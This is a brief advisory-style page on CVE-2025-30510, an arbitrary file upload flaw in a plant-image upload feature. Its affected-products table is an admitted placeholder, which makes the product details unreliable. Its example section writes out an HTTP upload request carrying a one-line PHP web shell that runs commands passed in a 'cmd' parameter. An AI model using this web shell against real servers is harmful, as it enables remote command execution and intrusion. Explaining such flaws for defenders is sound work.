CVE-2025-30510: Arbitrary File Upload Vulnerability

Overview

The vulnerability CVE-2025-30510 poses a significant threat to systems and data security. It allows an attacker to upload an arbitrary file in place of a plant image, leading to potential system compromise or data leakage. This vulnerability is of high consequence considering its CVSS severity score of 9.8, marking it as a critical threat. Any organization or system utilizing the affected software might find themselves at risk of exploitation, leading to unauthorized access, disruption of services, or potential data breaches.

Vulnerability Summary

CVE ID: CVE-2025-30510
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Example Product 1 | Version 2.0 – 2.5
Example Product 2 | Version 3.0 – 3.8
*Note: The above table is a placeholder and requires actual product data.*

How the Exploit Works

The vulnerability lies in the insufficient validation of the uploaded files. The affected software permits the upload of a file under the guise of a plant image. An attacker, with knowledge of this loophole, can exploit it by uploading an arbitrary file, such as a script or executable, that can compromise the system. The system, treating the file as a harmless image, executes or processes the malicious file, giving the attacker the opportunity to compromise the system or leak data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited using an HTTP POST request to upload a malicious file:

POST /upload/plantimage HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, a PHP script is uploaded as ‘malicious_script.php’. The script executes a shell command passed through the ‘cmd’ GET parameter, allowing an attacker to carry out arbitrary commands on the server.
Note: This is a conceptual example for illustrative purposes and does not represent an actual exploit.